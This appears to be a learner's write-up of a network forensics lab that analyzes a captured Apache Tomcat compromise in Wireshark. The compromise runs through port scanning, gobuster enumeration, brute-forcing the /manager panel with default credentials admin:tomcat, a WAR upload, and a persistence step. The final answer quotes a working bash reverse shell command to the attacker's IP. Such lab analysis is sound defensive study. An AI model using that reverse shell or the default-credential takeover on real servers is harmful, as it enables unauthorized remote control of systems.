Tomcat Takeover Lab

I have successfully completed the Tomcat Takeover Lab (Medium). This lab was a valuable experience that helped me improve my practical skills, strengthen my understanding of web application security, and gain more hands-on experience with identifying and exploiting vulnerabilities in a controlled environment.

I would like to thank everyone who contributed to creating this lab and providing a great learning opportunity. The challenges and research process helped me expand my knowledge and improve my problem-solving skills.

Analyze network traffic using Wireshark's custom columns, filters, and statistics to identify suspicious web server administration access and potential compromise.

Category: Network Forensics

Tactics: Reconnaissance, Execution, Persistence, Privilege Escalation, Credential Access, Discovery, Command and Control

Tools: Wireshark, NetworkMiner

Scenario

The SOC team has identified suspicious activity on a web server within the company's intranet. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the Apache Tomcat web server. Your task is to analyze the PCAP file to understand the scope of the attack.

Question 1: Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

Solution: I navigated to the Statistics section and filtered the traffic by Conversation. While reviewing the results, I observed that one of the packets had an unusually large size compared to the others, making it stand out as suspicious.

Answer: 14.0.0.120

Question 2: Based on the identified IP address associated with the attacker, can you identify the country from which the attacker's activities originated?

Solution: I copied the suspicious IP address from the capture and searched it on VirusTotal to check its reputation and gather additional threat intelligence. I checked the IP address using an IP lookup service to determine the country associated with it.

Answer: China

Question 3: From the PCAP file, multiple open ports were detected as a result of the attacker's active scan. Which of these ports provides access to the web server admin panel?

Solution: I navigated to File → Export Objects → HTTP to view the files transferred over HTTP. From the exported objects, I examined the relevant file and obtained the required information.

Answer: 8080

Question 4: Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?

Solution: I identified the packet containing the admin console traffic, right-clicked on it, and selected Follow → TCP Stream to examine the full conversation and retrieve the required information.

Answer: gobuster

Question 5: After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover?

Solution: I analyzed the traffic after the brute force attempt and noticed a successful HTTP 200 response from the server. By following the TCP stream of the related connection, I was able to identify the directory accessed by the attacker.

Answer: /manager

Question 6: After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login?

Solution:

To identify the username and password used by the attacker, there are two possible approaches.

The first method is using Wireshark. By applying the filter:

http.request.method == "POST"

we can display only the POST requests generated by the attacker. After analyzing the captured packets, the required credentials can be found in the Authorization section of the request details.

Answer: admin:tomcat

Question 7: Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

Solution:

The packet used to identify the credentials provided by the attacker can also be analyzed to locate the uploaded file. By following the TCP stream of this packet, the file details can be found in the header information under the Content-Disposition section.

Answer: JXQOZY.war

Question 8: After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?

Solution:

After gaining access to the server, the attacker created a scheduled command that worked as a backdoor mechanism. By examining the TCP stream after the file upload activity, we can identify the communication channel established by the attacker. The stream contains executed commands such as whoami and pwd. The most significant finding is the reverse shell connection, which can be identified using the following Wireshark filter:

ip.src == 14.0.0.120 && tcp.port == 80

Answer: /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

Thank you !

Have A nice Day !